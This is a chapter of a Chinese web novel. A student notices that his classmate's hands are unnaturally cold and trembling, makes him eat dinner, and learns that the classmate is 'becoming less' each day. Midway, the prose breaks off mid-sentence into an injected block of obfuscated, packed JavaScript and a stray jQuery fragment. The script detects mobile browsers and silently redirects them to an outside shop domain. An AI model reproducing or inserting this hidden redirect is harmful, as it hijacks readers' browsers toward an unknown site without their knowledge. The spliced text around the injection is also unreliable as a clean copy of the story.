五月第一天，气温直接窜上了三十度。
教室里的风扇开到了最大档，扇叶转得呼呼响，但吹出来的风是温热的，只把桌上的卷子吹得哗啦翻边，却带不走半点凉意。窗户全部打开了，午后的热风灌进来，带着操场草坪被晒烫之后蒸腾出来的泥土味。赵一鸣趴在桌上，校服外套脱了搭在椅背上，里面只剩一件短袖。他脸朝下贴在桌面上，闷声闷气地说："五月就三十度，七月我会不会热死。"
"七月你放假了，在家吹空调。"
"我家空调坏的。我妈说要等明年夏天再修。"
"那你去我家。"
赵一鸣从桌面上抬起头看了他一眼。"你说真的？"
"真的。七月你热得受不了就来我家。我妈包的饺子够两个人吃。"
赵一鸣把头重新埋回桌面上，声音含含糊糊的："你真的变了。你以前不会主动邀请别人来你家。"
林微没有反驳。他把手边的风扇往赵一鸣的方向转了一点点，让风能吹到他的后颈。"以前不会的事现在会了，不行吗？"
"行。"赵一鸣的声音从桌面底下传上来，闷闷的，带着一种高兴的尾音，"你变了好。你以前像一块冰。现在像一块正在化的冰。"
林微把手收回来，落在桌面上。他的目光停留在自己右手边的桌角——那个位置原本放着一盒牛奶，但今天早上的牛奶他提前喝完了。空盒子被他压扁了放在课桌左上角，等着下课扔掉。他已经习惯了每天早上七点前桌角出现一盒温牛奶。如果哪天没出现，他会多看一眼那个位置，然后掏手机。但这样的日子从3月2号开始就没有断过。顾夜像一台校准过的机器，每一天、每一盒、每一度温度都控制得刚刚好。
下午第二节课结束后，林微从座位上站起来去后排接水。顾夜坐在座位上，面前摊着一本笔记本，正在低头写字。电风扇的风正好吹到他的位置，把他外套的领口吹得微微掀动了一下。林微接完水走回来，经过顾夜桌子旁边的时候，看见他正在写的那一页纸上不是笔记，是一页被透明胶带固定在笔记本内页的旧稿纸——上面有他的笔迹。是他前世那箱废稿纸里的一页。那一页上只有半句话，被他自己划掉了。旁边的空白处是顾夜的笔迹，用铅笔写着"可能的结尾方向"，底下列了三条。
林微在那页纸面前停了一步。"你在补我的废稿？"
顾夜抬起头。他的动作不快，像是从很深的地方浮上来。"嗯。想看看能不能写成完整的。"
"那一页我划掉的那句是什么？"
"你写的是'他站在门里面，把手放在门把手上，但没有转'。"顾夜说，"后面划掉的那部分我看不清了，你划得太用力。"
"我当时为什么划掉它？"
"可能觉得那个动作太犹豫了。一个人站在门里面握了门把手不转——犹豫的描写太多，你想写得干脆一点。"
林微低头看着那页纸。他完全想不起来自己写过那句话，但顾夜读出来了——他从划掉的痕迹里读出了一个作者的心理活动。"你补的结尾是什么？"
顾夜把笔记本翻到后面一页，转过来给他看。那页纸上写着一个结尾：门开了。他站在门外面。他等了很久才等到门开，但他站的地方比门里面暖和。
林微看了几秒。"这个结尾比我原来的好。"
"原来的你没有写结尾。你只有开头和中间。我补了一个。"
"那你把这篇投出去的话，署名写谁？"
"写你。"顾夜说，"我只是补了一部分。大部分是你写的。"
"但你补了结尾。结尾是故事的灵魂。"
顾夜把笔记本转回来，合上放回桌角。"下一篇你结尾。我写开头。公平交易。"
林微站在他的桌边，握着水杯的杯壁，指腹压在塑料表面上。四月的最后一天过完了，现在是五月——距离8月9号还有正好一百天。时间的流速在他没有刻意留意的时候加快了。他重生时是3月1号，现在已经过去了两个月整。他在五月第一天的下午站在顾夜桌边，喝了一口已经凉掉的水，看着电风扇的风把他刚刚写下的那几个字吹干。
"你手好凉。"
这句话是林微自己说出来的。他没有计划说这句话，它从他嘴里掉出来的时候他自己也愣了一下。刚刚顾夜把笔记本转过来给他看的时候，顾夜的手指碰到了他的手指——很短暂的一次接触，大概只有一秒。他在那一秒里感觉到顾夜的手指温度明显比他的低。不像是被风扇吹凉的那种凉，是一种更深层的、从身体内部渗出来的低温。
顾夜的手指在他说完这句话之后轻轻缩了回去，放在笔记本的封面上。他的动作很自然，像只是在调整手的位置。但林微注意到了那个"缩回去"的瞬间——比正常的手部动作快了半拍。
"体寒。"顾夜说。"夏天也凉，习惯了。"
林微没有接话。他看着顾夜把笔记本拿起来翻到下一页，开始写新的东西。笔尖划过纸面的声音均匀而稳定，像什么都没发生过。但他注意到一个细节——顾夜写字的那只手，手腕内侧的皮肤颜色比手背浅了一个色号。那种浅不是健康的白，是一种偏灰的、没有血色的浅，像一层薄纸贴在骨头上。而且他今天穿得比教室里所有人都多——赵一鸣已经脱了外套只穿短袖了，顾夜还穿着那件灰色外套，拉链拉到锁骨的位置。
林微端着水杯回到自己的座位上。他把水杯放在桌角，手指在杯壁上多停留了一会儿。他的手指温度正常——比室温略高，是活人的温度。顾夜的手指比他的低了至少两度。他的体温是凉的。那种凉不像外界的凉，像一个人自己从内部在慢慢降温。他想起上周五顾夜说过的一句话——"你母亲的体检费我已经预付了。第三篇稿费还没到账，我先垫了。"他当时没有追问那句"我先垫了"是从哪来的钱。现在他在想，一个人如果从内部在慢慢降温，他还会不会感觉到饥饿？会不会像正常人一样需要吃饭、喝水、睡觉？
那天晚上熄灯之后，林微躺在床上没有睡着。他在想白天那个短暂的触碰——顾夜的手指碰到他手指的那一秒。他试着回想顾夜手指的温度到底低了多少。两度？三度？正常人体温是36.5左右，顾夜的手如果比普通人低了将近两度，那核心体温可能在35度上下。那已经是低体温症的范畴了。但顾夜每天还在正常活动、正常上学、正常给他买牛奶。他没有表现出任何生病的迹象——不咳嗽、不发烧、不虚弱。他只是凉。像一台机器在正常运转，但油箱里的油在慢慢变少。
他第二天早上比平时早到了十分钟。顾夜还没来，他的座位空着。林微走到后排，把一只手放在顾夜的座椅上——椅面是凉的，正常室温的凉，和任何其他空座位一样。他又把手放在顾夜的桌面上——也是正常的温度。没有异常。他把手收回来，回到自己的座位上坐下。桌角上的牛奶已经在了。温的。他拿起来喝了一口，温度刚刚好。
七点十分，顾夜进了教室。今天他换了一件薄外套，深灰色的，但拉链还是拉到了锁骨的位置。他走过林微桌边的时候没有停，林微的目光跟随着他——他走路的速度正常，步伐稳定，没有摇晃或迟钝。坐下、放书包、拿素描本、翻到空白页、拿起炭笔。每一个动作都和平常一样，流畅而精确。
但林微注意到今天他手腕内侧的皮肤颜色和昨天一样——还是偏灰的浅白色，没有因为五月升温而变红。一个健康的人在三十度的天气里应该会热到手腕内侧泛红，但顾夜的手腕内侧看起来像刚从冷水里抽出来。
下课之后林微走到后排，拉开顾夜前面那张椅子反着坐下。"你昨天说的体寒——去医院查过没有？"
顾夜正在削炭笔的手停了一下。"查过。没什么大问题。"
"什么医院查的？"
"校医院。"
"校医院能查体寒？"
顾夜把削好的炭笔放在桌上，抬起眼睛看他。"你想说什么？"
林微靠在椅背上，双手交叉搭在身前。"我想说你手太凉了。五月三十度的天你的手比冰水还凉。我昨天碰到你的手的时候，我以为你刚从冰箱里拿出来。你说体寒，但体寒不会让一个人穿了外套又裹了一层卫衣。"
顾夜没有接话。他把削下来的炭笔屑拢到掌心里，倒进桌角的废纸盒里。动作缓慢而仔细，像是在用这个动作争取时间。
"你最近吃东西吗？"林微问。
顾夜的手停了一下。"吃。"
"你早饭吃什么？"
"粥。"
"加什么？"
"不加。"
"你中午吃什么？"
"食堂。窗口的面条。"
"你晚上吃什么？"
顾夜把废纸盒推到桌角，抬起头看了林微一眼。"你查户口？"
"你管。你回答。"
顾夜沉默了一下。"晚饭不一定。有时候吃，有时候不吃。"
"为什么有时候不吃？"
"不饿。"
林微看着他的眼睛。那双深灰色的眼睛里没有闪烁，没有躲闪。它们平静得像一面结了冰的湖，冰面下面有什么东西在慢慢流动，但冰面本身没有任何裂痕。"那你昨天晚饭吃了吗？"
顾夜没有回答。他把视线移开，落在桌面上那本素描本的封面上。沉默持续了大约五秒。然后林微替他回答了："你没吃。"
顾夜没有否认。
"你今天中午吃了吗？"
"……吃了。"
"吃了什么？"
"面条。"
"几口？"
顾夜的手指在桌面边缘轻轻蜷了一下。"半碗。"
林微从他面前站起来，椅子被他推回了前排原位。他没有走，站在顾夜桌边，低头看着他。"你今天晚上跟我一起去食堂。我看着你吃。你吃不完没关系，但你得吃。"
"我不饿。"
"你不饿也要吃。你的手在抖。"
顾夜低头看了一眼自己的右手。他的手指确实在微微颤抖——幅度很小，几乎看不出来。但林微站的角度正好能看到，他在说话的时候，握炭笔的那只手在纸面上方轻微地、持续地震动着，像一根被风吹弯了但还勉强立着的草茎。
"手抖多久了？"
顾夜把那只手放下来，搁在膝盖上。"几周了。"
"几周？"
"……三周左右。"
"三周。"林微重复了一遍这个数字，"你手抖了三周，每天早上还去买牛奶？还去暖气片上捂四分钟？"
顾夜没有回答。他低着眼睛看着自己的膝盖，像在找一个合适的角度把自己的存在感放到最小。林微站在他面前，五月正午的阳光从窗户照进来，在两个人之间的地面上投下一道清晰的光线分界。
"今天晚上七点，食堂东南角靠窗那个位置。"林微说，"你来。你不来的话，我会端着饭走到你宿舍门口等你。你如果不开门，我就坐在门口吃。"
他转身走了。走到自己座位旁边坐下来的时候，他没有回头看。但他听见身后传来一声很轻的、像是把炭笔放回笔槽的声响。然后是一个人的呼气声——比正常的呼吸长了一点，像有人把一口气憋了很久终于松开了。
当天晚上七点整，林微端着两份饭坐在食堂东南角靠窗的位置。他选的是一份米饭套餐，两个菜，量不算大。对面那份也是米饭套餐，菜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906559|213027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色一样，只是多了一碗汤。他等了大约三分钟，顾夜从食堂入口走进来。脚步还是稳的，但速度比平时慢了一点点。他走到桌边，在林微对面坐下。
林微把筷子递过去。"先喝汤。"
顾夜接过来，低头拿起那碗汤喝了一口。他的动作很慢，像一个在等待身体确认"可以咽下去"之后再咽的人。但他喝了。喝完之后他又拿起了筷子，夹了一块菜放进嘴里。
"你不用吃完。"林微说，"吃多少算多少。但你得吃到手不抖为止。"
顾夜嚼着菜。他咽下去之后说："手抖是别的原因。"
"什么原因？"
顾夜没有回答。他低头又夹了一块菜，这次没有立刻吃，而是举着筷子看着菜面上蒸腾起来的热气。"不是因为饿。是因为我在变少。"
林微握着筷子的手停住了。"变少是什么意思？"
顾夜把菜放回碗里。他抬起头，日光灯从正上方照下来，在他脸上投下一层均匀的白光。他今天没有戴帽子。林微第一次在食堂这种光线充足的地方看到他没有帽沿的脸——眉骨清晰、鼻梁高挺、皮肤偏白。那双深灰色的眼睛在日光灯下颜色浅了一层，像玻璃被光照穿之后的透亮。
"我在变少。"顾夜又说了一遍，"每过一天，就少一点。手抖是因为末梢循环在退。温度低是因为新陈代谢在减。不饿是因为消化系统在慢下来。再过几个月，可能还会更慢。"
林微坐在他对面。食堂里的人声、碗筷碰撞声、风扇的嗡鸣声在他周围形成了一个模糊的声场，但那些声音都隔着一层什么。"你之前为什么不告诉我？"
"因为告诉你之后你会做今晚这种事。"顾夜说，"你会端着饭坐在我对面看我吃。你会注意到手抖。你会开始数我每天吃了多少。"
"我本来就该做这些事。"
"你不该。"顾夜说，"这些事是我自己的。你不需要负责。"
"我没在负责。"林微说，"我在……"他停了一下，找了一个词，"我在陪。陪你吃顿饭。你要少，我挡不住。但你现在坐在这里，吃了半碗饭，喝了汤。你在少之前，先吃了一顿饭。"
顾夜看着他。这是他今天第一次长时间直视林微的眼睛。他看了大约五秒。然后他低下头，又夹了一块菜放进嘴里。这一次他嚼完之后主动拿起汤碗喝了一口。喝完汤他放下碗。
"你吃完了。"林微说。"你可以在少之前先吃完一顿饭。明天也是。后天也是。直到你不能再吃为止。"
"那你明天还来吗？"
"来。"林微说，"你坐哪我坐哪。"
顾夜没有说话。但他把那碗汤喝完了。汤碗放回桌面的时候发出轻微的磕碰声，碗底空了，只剩一层极薄的水痕。林微收走了空碗。他端着两个人的餐具走向回收窗口的时候，顾夜坐在原地没有动。他低头看着自己刚刚握过碗的那只手——手指已经不抖了。是因为他喝了热汤、吃了饭，身体有了能量。还是因为刚才那几句话让他的身体里某个位置被暖了一下？他不知道。但他把那只手放在膝盖上，攥了一下拳头，又松开了。能攥紧。比下午的时候好了一点。
当天晚上回到宿舍，林微没有立刻睡觉。他坐在书桌前打开手机，搜了一下"低体温症末梢循环代谢减慢"几个词条。搜索结果很多，但每一条都指向同一个方向：核心体温低于35度属于低体温症，长期维持在35度左右会导致器官功能逐步下降。如果体温持续降低，最终会影响心脏和大脑的供血功能。
他把手机按灭了。屏幕暗下去之后映出他自己的脸——眉头微微皱着，嘴角压着，眼底有那种他熟悉的重压感。他在黑暗里坐了一会儿，然后站起来走到窗边。窗外的路灯把操场照得半明半暗，看台上空无一人。他在想白天顾夜说的那句话——"因为我在变少。"变少。不是生病，不是受伤。是存在本身在缩减。像一块正在被太阳晒干的水渍，一点一点地缩回边缘。他知道顾夜在变少，但他不知道为什么会变少。顾夜没有说原因。可能在变少本身，就是那个代价。
他回到床上躺下来。月光从窗帘缝隙里渗进来，在天花板上落下一道窄窄的白线。他在黑暗里伸出右手，握了一下拳头——他的体温正常，手指温暖，脉搏平稳。他在想如果有一天顾夜的手凉到他握不住的时候，他该做什么。他还没想好。但他知道明天晚上七点，他还会端着两份饭坐在食堂东南角靠窗的位置。他会等一个人坐下来，把汤碗推到他面前，说"先喝汤"。那个人会喝。会吃。会在手不抖的时候把碗放下来。他们会一起吃完一顿饭。在变少之前，先多吃一顿。
【暗场·顾夜】
凌晨一点。顾夜坐在窗台上，膝盖上摊着素描本。他今天没有画画。纸面上只有一行字，铅笔写的："第三轮第二十三天。他知道了。他端了两份饭来食堂。"
底下还有一行："他说'你可以在少之前先吃完一顿饭。明天也是。后天也是。'"
他在那两行字底下停了很久。然后他拿起笔，在最后又加了一行："35.2℃。今天早晨量的。比上周低了0.1度。但他让我喝了热汤，手不抖了。他叫我明天再来。"
他把素描本合上。窗台上的花盆里那棵小芽又长高了一截，叶片已经有三片了，嫩绿色的，在月光里微微张开，像在试探着往上爬。他看着那棵小芽，在黑暗里慢慢眨了一下眼睛。
他今天说"我在变少"的时候，没有说"变少的速度"——但他心里有数。每过一轮少一点。这一轮结束的时候，他可能会少到几乎不可见。但他今晚喝了热汤。手不抖了。至少今晚，有人看着他吃了一碗饭。那个人的目光是暖的。在变少之前，他先记住了那个温度。